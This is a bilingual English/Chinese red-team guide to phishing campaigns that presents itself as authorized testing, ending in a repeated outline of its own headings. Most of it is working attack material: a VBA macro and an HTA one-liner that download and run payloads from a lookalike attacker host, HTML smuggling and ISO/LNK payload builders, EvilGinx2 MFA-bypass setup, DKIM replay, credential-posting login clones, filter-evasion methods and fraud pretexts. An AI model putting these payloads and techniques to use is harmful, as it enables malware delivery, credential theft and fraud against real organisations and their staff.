Offensive Phishing

攻击性 Phishing

Phishing remains the most reliable initial access vector in red team engagements. You are simulating a real adversary -- your infrastructure, pretexts, and payloads must withstand the same scrutiny that a targeted organization's email security stack applies to inbound mail. This skill walks you through building campaigns that test an organization's human and technical defenses against email-based social engineering.

Every technique here assumes you hold explicit written authorization. Document your scope, target lists, and escalation procedures before sending the first email.

Phishing 仍然是红队演练中最可靠的初始访问向量。你正在模拟真实对手——你的基础设施、话术和 Payload 必须能够经受目标组织的邮件安全技术栈对入站邮件所实施的同等审查。本 skill 将引导你构建 Phishing 活动，以测试组织针对基于邮件的社会工程攻击所设的人力与技术防御。

本 skill 中的每项技术均以你持有明确书面授权为前提。在发送第一封邮件前，应记录范围、目标名单和升级处理流程。

Quick Workflow

快速工作流

Register a lookalike domain 4-8 weeks before the engagement; configure DNS records for SPF, DKIM, and DMARC alignment.
Stand up GoPhish on dedicated infrastructure; configure SMTP relay through a reputable provider or self-hosted MTA.
Develop pretexts based on OSINT -- org announcements, vendor relationships, internal processes.
Build or clone landing pages; deploy EvilGinx2 phishlets if MFA bypass is in scope.
Craft payloads matched to the target's email security posture (macro-enabled docs, HTML smuggling, ISO containers).
Send test emails to your own accounts first; verify rendering, link tracking, and payload delivery.
Launch the campaign in waves; monitor GoPhish dashboard for opens, clicks, and credential submissions.
Document findings with timestamps, screenshots, and affected user counts for the final report.

在演练开始前 4–8 周注册一个相似域名；配置用于 SPF、DKIM 和 DMARC 对齐的 DNS 记录。
在专用基础设施上部署 GoPhish；通过信誉良好的提供商或自托管 MTA 配置 SMTP 中继。
基于 OSINT 开发话术——包括组织公告、供应商关系和内部流程。
构建或克隆落地页；如果测试范围包含 MFA 绕过，则部署 EvilGinx2 phishlet。
根据目标的邮件安全态势制作匹配的 Payload——包括启用宏的文档、HTML Smuggling 和 ISO 容器。
先向自己的账户发送测试邮件；验证呈现效果、链接跟踪和 Payload 投递情况。
分批启动活动；通过 GoPhish 仪表板监控打开、点击和凭据提交情况。
在最终报告中记录发现，并附时间戳、截图和受影响用户数量。

Infrastructure Setup

基础设施配置

Your sending infrastructure determines whether mail reaches the inbox or lands in quarantine. Treat infrastructure provisioning as the foundation of every campaign.

你的发送基础设施决定了邮件是进入收件箱还是落入隔离区。应将基础设施配置视为每项活动的基础。

Domain Acquisition and Aging

域名获取与预热

Register domains that visually or semantically resemble the target. Homoglyph substitutions (rn for m, vv for w), TLD swaps (.net instead of .com), and hyphenated variants all work. Age the domain for at least two weeks with benign content and low-volume legitimate email before using it in a campaign.

bash

undefined

注册在视觉或语义上与目标相似的域名。同形字替换（用 rn 代替 m、用 vv 代替 w）、顶级域替换（使用 .net 而不是 .com）以及带连字符的变体均可奏效。在用于活动前，至少使用两周时间通过正常内容和低发送量的合法电子邮件对域名进行预热。

bash

undefined

Check domain availability and WHOIS history

whois targetcorp-portal.com

Verify no existing reputation flags

dig +short targetcorp-portal.com @8.8.8.8

Generate homoglyph candidates with dnstwist

dnstwist --registered targetcorp.com

undefined

dnstwist --registered targetcorp.com

undefined

DNS and Email Authentication Records

DNS 和邮件身份验证记录

Proper SPF, DKIM, and DMARC records are non-negotiable. Without them, most modern email gateways will reject or quarantine your mail outright.

bash

undefined

正确的 SPF、DKIM 和 DMARC 记录不可或缺。缺少这些记录，大多数现代邮件网关会直接拒绝或隔离你的邮件。

bash

undefined

SPF record -- authorize your sending IP

Add as TXT record on your phishing domain:

v=spf1 ip4:203.0.113.50 -all

Generate DKIM keys (2048-bit RSA)

opendkim-genkey -s mail -d targetcorp-portal.com -b 2048

DMARC record -- set policy to none during warmup

_dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"

Verify DNS propagation

dig TXT targetcorp-portal.com dig TXT mail._domainkey.targetcorp-portal.com dig TXT _dmarc.targetcorp-portal.com

undefined

dig TXT targetcorp-portal.com dig TXT mail._domainkey.targetcorp-portal.com dig TXT _dmarc.targetcorp-portal.com

undefined

GoPhish Deployment

GoPhish 部署

GoPhish is the standard open-source phishing framework. Deploy it on a VPS with a valid TLS certificate.

bash

undefined

GoPhish 是标准的开源 Phishing 框架。将它部署在配备有效 TLS 证书的 VPS 上。

bash

undefined

Download and extract GoPhish

wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish

Generate TLS certificate with Let's Encrypt

certbot certonly --standalone -d phish.targetcorp-portal.com

Configure GoPhish (config.json)

cat <<'EOF' > /opt/gophish/config.json { "admin_server": { "listen_url": "0.0.0.0:3333", "use_tls": true, "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem", "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem" }, "phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true, "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem", "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem" } } EOF

Start GoPhish

cd /opt/gophish && ./gophish &

undefined

cd /opt/gophish && ./gophish &

undefined

SMTP Configuration

SMTP 配置

Self-hosted Postfix or a relay through Amazon SES, Mailgun, or SendGrid. Self-hosted gives you full control but requires careful IP reputation management.

bash

undefined

可使用自托管 Postfix，或通过 Amazon SES、Mailgun 或 SendGrid 进行中继。自托管可提供完全控制，但需要谨慎管理 IP 信誉。

bash

undefined

Postfix main.cf essentials for phishing relay

postconf -e "myhostname = mail.targetcorp-portal.com" postconf -e "mydomain = targetcorp-portal.com" postconf -e "smtp_tls_security_level = may" postconf -e "smtp_tls_note_starttls_offer = yes" postconf -e "milter_default_action = accept" postconf -e "smtpd_milters = inet:localhost:8891" postconf -e "non_smtpd_milters = inet:localhost:8891"

systemctl restart postfix

---

postconf -e "myhostname = mail.targetcorp-portal.com" postconf -e "mydomain = targetcorp-portal.com" postconf -e "smtp_tls_security_level = may" postconf -e "smtp_tls_note_starttls_offer = yes" postconf -e "milter_default_action = accept" postconf -e "smtpd_milters = inet:localhost:8891" postconf -e "non_smtpd_milters = inet:localhost:8891"

systemctl restart postfix

---

Payload Delivery Vectors

Payload 投递方式

Match your payload to the target's email gateway capabilities. If the organization strips macros, pivot to HTML smuggling or ISO containers.

根据目标的邮件网关能力选择 Payload。如果组织会清除宏，则转向 HTML Smuggling 或 ISO 容器。

Office Macro Payloads

Office 宏 Payload

Classic but still effective against organizations that allow macro-enabled documents. Use VBA stomping to remove the readable source while preserving the p-code.

vba

' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
    Dim url As String
    Dim path As String
    url = "https://cdn.targetcorp-portal.com/update.exe"
    path = Environ("TEMP") & "\svchost.exe"
    
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.send
    
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write xhr.responseBody
    stream.SaveToFile path, 2
    stream.Close
    
    Shell path, vbHide
End Sub

虽然属于经典手法，但对于允许启用宏的文档的组织仍然有效。使用 VBA stomping 移除可读源码，同时保留 p-code。

vba

' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
    Dim url As String
    Dim path As String
    url = "https://cdn.targetcorp-portal.com/update.exe"
    path = Environ("TEMP") & "\svchost.exe"
    
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.send
    
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write xhr.responseBody
    stream.SaveToFile path, 2
    stream.Close
    
    Shell path, vbHide
End Sub

HTML Smuggling

Bypass email gateways by encoding the payload in JavaScript and reconstructing it client-side. The email contains only HTML -- no attachments for the gateway to scan.

html

<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
    arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

通过在 JavaScript 中编码 Payload 并在客户端重建来绕过邮件网关。邮件只包含 HTML——没有可供网关扫描的附件。

html

<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
    arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

ISO/IMG Container Abuse

ISO/IMG 容器滥用

ISO and IMG files mount automatically on Windows 10/11, bypassing Mark-of-the-Web protections. Package an LNK file pointing to an embedded DLL or executable inside the container.

bash

undefined

ISO 和 IMG 文件会自动挂载到 Windows 10/11，从而绕过 Mark-of-the-Web 保护。将一个指向容器内嵌入式 DLL 或可执行文件的 LNK 文件打包进去。

bash

undefined

Create an ISO with a malicious LNK and hidden payload

First, prepare the directory structure

mkdir -p /tmp/iso_payload cp payload.dll /tmp/iso_payload/

Create an LNK that executes the DLL via rundll32

(use pylnk3 or mklnk for programmatic LNK creation)

python3 -c " import pylnk3 lnk = pylnk3.Lnk() lnk.target = r'C:\Windows\System32\rundll32.exe' lnk.arguments = r'payload.dll,DllMain' lnk.icon_file = r'C:\Windows\System32\shell32.dll' lnk.icon_index = 1 lnk.save('/tmp/iso_payload/Q3-Report.lnk') "

Generate the ISO

mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/

undefined

mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/

undefined

OneNote Embedded Payloads

OneNote 嵌入 Payload

OneNote files (.one) can embed scripts, executables, and HTA files. The user sees a "Double-click to open" prompt. Effective against environments that block Office macros.

bash

undefined

OneNote 文件（.one）可以嵌入脚本、可执行文件和 HTA 文件。用户会看到“Double-click to open”（双击打开）的提示。对于阻止 Office 宏的环境，这种方式很有效。

bash

undefined

Use o365creeper or custom tooling to craft .one files

OneNote payload embedding approach:

1. Create a legitimate-looking OneNote page

2. Embed a malicious HTA or BAT file as an attachment

3. Place a visual overlay instructing the user to "double-click to view"

Example HTA payload embedded in OneNote

cat <<'HTAEOF' > payload.hta

<html> <head> <script language="VBScript"> Sub Window_onLoad Set shell = CreateObject("WScript.Shell") shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0 window.close End Sub </script> </head> </html> HTAEOF ```

cat <<'HTAEOF' > payload.hta

<html> <head> <script language="VBScript"> Sub Window_onLoad Set shell = CreateObject("WScript.Shell") shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0 window.close End Sub </script> </head> </html> HTAEOF ```

Email Authentication Bypass

邮件身份验证绕过

Understanding email authentication lets you exploit gaps between strict policy and actual enforcement.

了解邮件身份验证机制，有助于利用严格策略与实际执行之间的差距。

SPF Softfail Exploitation

SPF Softfail 利用

Many organizations configure SPF with ~all (softfail) instead of -all (hardfail). Softfail messages are tagged but often delivered, especially when combined with valid DKIM.

bash

undefined

许多组织将 SPF 配置为 ~all（softfail），而不是 -all（hardfail）。softfail 邮件会被打上标记，但通常仍会投递，尤其是在与有效 DKIM 结合使用时。

bash

undefined

Check target's SPF record for softfail

dig TXT targetcorp.com | grep spf

If ~all is present, send from any IP -- the message gets tagged

but typically passes through to the inbox

Combine with valid DKIM on your own domain for best results

undefined

undefined

DKIM Replay Attacks

DKIM 重放攻击

Send a legitimate email through a service that signs with DKIM, then replay the signed message body with modified envelope headers.

python

undefined

通过使用 DKIM 签名的服务发送一封合法邮件，然后修改信封头并重放已签名的邮件正文。

python

undefined

DKIM replay concept

1. Send a message through a legitimate service (e.g., a newsletter platform)

that DKIM-signs with a domain the target trusts

2. Capture the raw signed message

3. Modify the envelope From/To while preserving the DKIM-signed body

import smtplib from email import message_from_file

Load the captured DKIM-signed message

with open("signed_message.eml", "r") as f: msg = message_from_file(f)

Modify envelope (not headers) and relay

with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp: smtp.starttls() smtp.sendmail( "noreply@trusted-service.com", # envelope from "victim@targetcorp.com", # envelope to msg.as_string() # original DKIM-signed content )

undefined

with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp: smtp.starttls() smtp.sendmail( "noreply@trusted-service.com", # envelope from "victim@targetcorp.com", # envelope to msg.as_string() # original DKIM-signed content )

undefined

Display Name Spoofing and Homoglyph Domains

显示名称欺骗与同形字域名

The simplest bypass -- set the display name to match a trusted sender. Most email clients show the display name prominently and hide the actual address.

text

From: "IT Security Team <security@targetcorp.com>" <attacker@targetcorp-portal.com>
Subject: Mandatory Password Reset - Action Required

Combined with a homoglyph domain:
  targetcorp.com  vs  targetc0rp.com  (zero for o)
  targetcorp.com  vs  targe7corp.com  (seven for t)
  targetcorp.com  vs  targetcorp.co   (TLD change)

最简单的绕过方式——将显示名称设置为与可信发件人一致。大多数邮件客户端会突出显示显示名称，而隐藏真实地址。

text

From: "IT Security Team <security@targetcorp.com>" <attacker@targetcorp-portal.com>
Subject: Mandatory Password Reset - Action Required

Combined with a homoglyph domain:
  targetcorp.com  vs  targetc0rp.com  (zero for o)
  targetcorp.com  vs  targe7corp.com  (seven for t)
  targetcorp.com  vs  targetcorp.co   (TLD change)

Credential Harvesting with MFA Bypass

结合 MFA 绕过的凭据收集

Modern credential harvesting goes beyond cloned login pages. You need to intercept session tokens to bypass MFA.

现代凭据收集已超越简单的克隆登录页面。你需要截获会话 Token 才能绕过 MFA。

EvilGinx2 Transparent Proxy

EvilGinx2 透明代理

EvilGinx2 operates as a reverse proxy between the victim and the real authentication portal. It captures credentials AND session cookies, bypassing TOTP, push notifications, and SMS-based MFA.

bash

undefined

EvilGinx2 作为反向代理运行在受害者与真实身份验证门户之间。它捕获凭据和会话 Cookie，从而绕过基于 TOTP、推送通知和短信的 MFA。

bash

undefined

Install EvilGinx2

git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make

Configure and run

./evilginx2 -p phishlets/

Inside the EvilGinx2 console:

config domain targetcorp-portal.com config ipv4 203.0.113.50

Load the Microsoft 365 phishlet

phishlets hostname o365 login.targetcorp-portal.com phishlets enable o365

Create a lure URL

lures create o365 lures get-url 0

Output: https://login.targetcorp-portal.com/some-path

When the victim authenticates, EvilGinx2 captures:

- Username and password

- Session cookies (bypasses MFA)

- Authorization tokens

undefined

undefined

HTML Login Page Cloning

HTML 登录页克隆

For scenarios where transparent proxying is not feasible, clone the target login page and POST credentials to your collection server.

bash

undefined

在无法实施透明代理的场景下，克隆目标登录页，并将凭据 POST 到你的收集服务器。

bash

undefined

Clone a login page with wget

wget --mirror --convert-links --page-requisites
--no-parent https://login.targetcorp.com/

Modify the form action to POST to your server

In the cloned HTML, change:

<form action="/auth/login" method="POST">

To:

<form action="https://phish.targetcorp-portal.com/collect" method="POST">

GoPhish handles this natively -- import the HTML as a landing page

and GoPhish will intercept form submissions automatically

---

---

Spear Phishing and Pretext Development

鱼叉式 Phishing 与话术开发

Mass phishing tests awareness; spear phishing tests whether a motivated attacker can compromise a specific high-value target.

批量 Phishing 测试的是用户意识；鱼叉式 Phishing 测试的是动机明确的攻击者能否攻破特定的高价值目标。

OSINT-Driven Pretext Construction

基于 OSINT 的话术构建

Build pretexts from publicly available information: LinkedIn profiles, conference talks, social media, SEC filings, job postings.

bash

undefined

根据公开信息构建话术：LinkedIn 个人资料、会议演讲、社交媒体、SEC 文件和招聘启事。

bash

undefined

Gather target intelligence

LinkedIn scraping for org chart and role identification

theHarvester -d targetcorp.com -b linkedin

Email format enumeration

python3 -c "

Common email formats to test

import itertools first = 'john' last = 'smith' domain = 'targetcorp.com' formats = [ f'{first}.{last}@{domain}', f'{first[0]}{last}@{domain}', f'{first}{last[0]}@{domain}', f'{first}_{last}@{domain}', f'{first}@{domain}', ] for fmt in formats: print(fmt) "

Verify emails with SMTP VRFY or RCPT TO

smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com

undefined

smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com

undefined

Pretext Examples by Scenario

按场景划分的话术示例

text

Scenario: IT department password reset
  From: IT Helpdesk <helpdesk@targetcorp-portal.com>
  Pretext: Annual security compliance requires password rotation.
  Urgency: Account lockout in 24 hours.
  Landing: Cloned SSO portal.

Scenario: Vendor invoice
  From: accounts@vendor-corp.com (compromised or spoofed)
  Pretext: Updated banking details for upcoming payment.
  Payload: Macro-enabled Excel "invoice."

Scenario: Shared document notification
  From: DocuSign <no-reply@docusign-notifications.com>
  Pretext: HR document awaiting signature.
  Landing: Credential harvesting page styled as DocuSign.

Scenario: Callback phishing (BazarCall)
  From: subscription@streaming-service-portal.com
  Pretext: Subscription renewal charge of $499.99.
  Action: Call this number to cancel (leads to vishing agent).

text

Scenario: IT department password reset
  From: IT Helpdesk <helpdesk@targetcorp-portal.com>
  Pretext: Annual security compliance requires password rotation.
  Urgency: Account lockout in 24 hours.
  Landing: Cloned SSO portal.

Scenario: Vendor invoice
  From: accounts@vendor-corp.com (compromised or spoofed)
  Pretext: Updated banking details for upcoming payment.
  Payload: Macro-enabled Excel "invoice."

Scenario: Shared document notification
  From: DocuSign <no-reply@docusign-notifications.com>
  Pretext: HR document awaiting signature.
  Landing: Credential harvesting page styled as DocuSign.

Scenario: Callback phishing (BazarCall)
  From: subscription@streaming-service-portal.com
  Pretext: Subscription renewal charge of $499.99.
  Action: Call this number to cancel (leads to vishing agent).

Email Filter Bypass Techniques

邮件过滤器绕过技术

Email security gateways inspect URLs, attachments, headers, and content. Your goal is to deliver the payload without triggering detections.

邮件安全网关会检查 URL、附件、标头和内容。你的目标是在不触发检测的情况下投递 Payload。

Techniques for Evasion

规避技术

text

URL obfuscation:
  - Use URL shorteners (bit.ly, tinyurl) for initial link
  - Redirect chains: benign domain -> 302 -> phishing page
  - Open redirects on trusted domains (Google, Microsoft, Adobe)
  - Time-delayed redirects (serve benign page during sandbox analysis)

Attachment evasion:
  - Password-protected ZIP files (password in email body)
  - Nested archives (ZIP inside ZIP)
  - Rename extensions (.doc.iso, .pdf.lnk)
  - Use less-scrutinized formats (SVG with embedded JS, .url files)

Content evasion:
  - Invisible text / zero-font to confuse NLP classifiers
  - Image-based email body (text rendered as PNG)
  - Base64-encoded body sections
  - Right-to-left override characters in filenames

text

URL obfuscation:
  - Use URL shorteners (bit.ly, tinyurl) for initial link
  - Redirect chains: benign domain -> 302 -> phishing page
  - Open redirects on trusted domains (Google, Microsoft, Adobe)
  - Time-delayed redirects (serve benign page during sandbox analysis)

Attachment evasion:
  - Password-protected ZIP files (password in email body)
  - Nested archives (ZIP inside ZIP)
  - Rename extensions (.doc.iso, .pdf.lnk)
  - Use less-scrutinized formats (SVG with embedded JS, .url files)

Content evasion:
  - Invisible text / zero-font to confuse NLP classifiers
  - Image-based email body (text rendered as PNG)
  - Base64-encoded body sections
  - Right-to-left override characters in filenames

QR Code Phishing (Quishing)

二维码 Phishing（Quishing）

QR codes in email bodies bypass URL scanners because the link is encoded in an image, not a clickable href.

python

undefined

二维码位于邮件正文中时，可以绕过 URL 扫描器，因为链接编码在图像中，而不是可点击的 href。

python

undefined

Generate a QR code pointing to your phishing URL

import qrcode

url = "https://login.targetcorp-portal.com/auth" qr = qrcode.QRCode(version=1, box_size=10, border=4) qr.add_data(url) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save("mfa_setup_qr.png")

import qrcode

url = "https://login.targetcorp-portal.com/auth" qr = qrcode.QRCode(version=1, box_size=10, border=4) qr.add_data(url) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save("mfa_setup_qr.png")

Embed in an email with pretext:

"Scan this QR code with your phone to complete MFA enrollment"

---

---

Detection / Defender View

检测视角与防御方视角

Understanding how defenders detect phishing helps you build campaigns that realistically test those controls.

Control Layer	Detection Method	Attacker Consideration
Email gateway (Proofpoint, Mimecast)	URL reputation, attachment sandbox, header analysis	Use fresh domains, time-delayed payloads, encrypted attachments
SPF/DKIM/DMARC enforcement	Authentication header validation	Ensure proper alignment on your sending domain
Link protection (SafeLinks, URL Defense)	URL rewriting and detonation at click time	Redirect chains, captcha gates before payload
User awareness training	Reported phishing, suspicious email buttons	Higher sophistication pretexts, spear phishing
EDR / endpoint controls	Payload execution blocking	Test payload execution separately; not the phishing skill's scope
SIEM / SOC monitoring	Bulk credential submission alerts, impossible travel	Stagger campaign waves, use residential proxies

Defenders should look for: newly registered domains in inbound mail, DMARC failures tagged but delivered, unusual login geography after campaign windows, and spikes in password reset requests.

了解防御方如何检测 Phishing，有助于构建能够真实检验这些控制措施的活动。

控制层	检测方法	攻击者需考虑的事项
邮件网关（Proofpoint、Mimecast）	URL 信誉、附件沙箱、标头分析	使用新域名、延迟触发 Payload、加密附件
SPF/DKIM/DMARC 强制执行	身份验证标头校验	确保发送域名正确对齐
链接保护（SafeLinks、URL Defense）	URL 重写与点击时解析	使用重定向链，在 Payload 前设置验证码关卡
用户安全意识培训	Phishing 举报、可疑邮件按钮	采用更复杂的话术和鱼叉式 Phishing
EDR / 端点控制	阻止 Payload 执行	单独测试 Payload 执行；这不在本 skill 的范围内
SIEM / SOC 监控	批量凭据提交告警、不可能的旅行	错开活动批次，使用住宅代理

防御方应重点关注：入站邮件中新注册的域名、虽被标记为 DMARC 失败但仍被投递的邮件、活动窗口结束后异常的登录地理位置，以及密码重置请求激增。

Engagement Cheatsheet

演练速查表

text

PRE-ENGAGEMENT
  [ ] Written authorization and scope document signed
  [ ] Target list approved (no out-of-scope individuals)
  [ ] Deconfliction contacts established with blue team (if not blind)
  [ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
  [ ] DNS records configured (SPF, DKIM, DMARC)
  [ ] GoPhish deployed and tested
  [ ] Landing pages cloned and functional
  [ ] Payloads tested against target email gateway (send to yourself first)

EXECUTION
  [ ] Test email sent to operator's own mailbox -- verify rendering
  [ ] Campaign launched in waves (stagger send times)
  [ ] Monitor GoPhish dashboard for opens, clicks, credential captures
  [ ] Screenshot all credential captures with timestamps
  [ ] If callback phishing: vishing team briefed and ready

POST-ENGAGEMENT
  [ ] Campaign stopped; no further emails sent
  [ ] All collected credentials securely stored and reported
  [ ] Infrastructure torn down (domains, servers, GoPhish data)
  [ ] Phishing simulation results compiled with per-department metrics
  [ ] Recommendations: email gateway tuning, DMARC enforcement, user training

text

PRE-ENGAGEMENT
  [ ] Written authorization and scope document signed
  [ ] Target list approved (no out-of-scope individuals)
  [ ] Deconfliction contacts established with blue team (if not blind)
  [ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
  [ ] DNS records configured (SPF, DKIM, DMARC)
  [ ] GoPhish deployed and tested
  [ ] Landing pages cloned and functional
  [ ] Payloads tested against target email gateway (send to yourself first)

EXECUTION
  [ ] Test email sent to operator's own mailbox -- verify rendering
  [ ] Campaign launched in waves (stagger send times)
  [ ] Monitor GoPhish dashboard for opens, clicks, credential captures
  [ ] Screenshot all credential captures with timestamps
  [ ] If callback phishing: vishing team briefed and ready

POST-ENGAGEMENT
  [ ] Campaign stopped; no further emails sent
  [ ] All collected credentials securely stored and reported
  [ ] Infrastructure torn down (domains, servers, GoPhish data)
  [ ] Phishing simulation results compiled with per-department metrics
  [ ] Recommendations: email gateway tuning, DMARC enforcement, user training

Key References

主要参考资料

MITRE ATT&CK T1566 -- Phishing (T1566.001 Attachment, T1566.002 Link, T1566.003 Service)
GoPhish Documentation -- https://docs.getgophish.com
EvilGinx2 -- https://github.com/kgretzky/evilginx2
King Phisher -- https://github.com/rsmusllp/king-phisher
Social Engineering Toolkit (SET) -- https://github.com/trustedsec/social-engineer-toolkit
dnstwist -- Domain permutation engine -- https://github.com/elceef/dnstwist
NIST SP 800-177 -- Trustworthy Email
RFC 7208 (SPF), RFC 6376 (DKIM), RFC 7489 (DMARC)

MITRE ATT&CK T1566 -- Phishing（T1566.001 Spearphishing Attachment、T1566.002 Spearphishing Link、T1566.003 Spearphishing via Service）
GoPhish 文档 -- https://docs.getgophish.com
EvilGinx2 -- https://github.com/kgretzky/evilginx2
King Phisher -- https://github.com/rsmusllp/king-phisher
Social Engineering Toolkit（SET）-- https://github.com/trustedsec/social-engineer-toolkit
dnstwist -- 域名排列引擎 -- https://github.com/elceef/dnstwist
NIST SP 800-177 -- 可信电子邮件
RFC 7208（SPF）、RFC 6376（DKIM）、RFC 7489（DMARC）

offensive-phishing

Original

Translation

Offensive Phishing

攻击性 Phishing

Quick Workflow

快速工作流

Infrastructure Setup

基础设施配置

Domain Acquisition and Aging

域名获取与预热

Check domain availability and WHOIS history

Check domain availability and WHOIS history

Verify no existing reputation flags

Verify no existing reputation flags

Generate homoglyph candidates with dnstwist

Generate homoglyph candidates with dnstwist

DNS and Email Authentication Records

DNS 和邮件身份验证记录

SPF record -- authorize your sending IP

SPF record -- authorize your sending IP

Add as TXT record on your phishing domain:

Add as TXT record on your phishing domain:

v=spf1 ip4:203.0.113.50 -all

v=spf1 ip4:203.0.113.50 -all

Generate DKIM keys (2048-bit RSA)

Generate DKIM keys (2048-bit RSA)

DMARC record -- set policy to none during warmup

DMARC record -- set policy to none during warmup

_dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"

_dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"

Verify DNS propagation

Verify DNS propagation

GoPhish Deployment

GoPhish 部署

Download and extract GoPhish

Download and extract GoPhish

Generate TLS certificate with Let's Encrypt

Generate TLS certificate with Let's Encrypt

Configure GoPhish (config.json)

Configure GoPhish (config.json)

Start GoPhish

Start GoPhish

SMTP Configuration

SMTP 配置

Postfix main.cf essentials for phishing relay

Postfix main.cf essentials for phishing relay

Payload Delivery Vectors

Payload 投递方式

Office Macro Payloads

Office 宏 Payload

HTML Smuggling

HTML Smuggling

ISO/IMG Container Abuse

ISO/IMG 容器滥用

Create an ISO with a malicious LNK and hidden payload

Create an ISO with a malicious LNK and hidden payload

First, prepare the directory structure

First, prepare the directory structure

Create an LNK that executes the DLL via rundll32

Create an LNK that executes the DLL via rundll32

(use pylnk3 or mklnk for programmatic LNK creation)

(use pylnk3 or mklnk for programmatic LNK creation)

Generate the ISO

Generate the ISO

OneNote Embedded Payloads

OneNote 嵌入 Payload

Use o365creeper or custom tooling to craft .one files

Use o365creeper or custom tooling to craft .one files

OneNote payload embedding approach:

OneNote payload embedding approach:

1. Create a legitimate-looking OneNote page

1. Create a legitimate-looking OneNote page

2. Embed a malicious HTA or BAT file as an attachment

2. Embed a malicious HTA or BAT file as an attachment

3. Place a visual overlay instructing the user to "double-click to view"

3. Place a visual overlay instructing the user to "double-click to view"

Example HTA payload embedded in OneNote

Example HTA payload embedded in OneNote

Email Authentication Bypass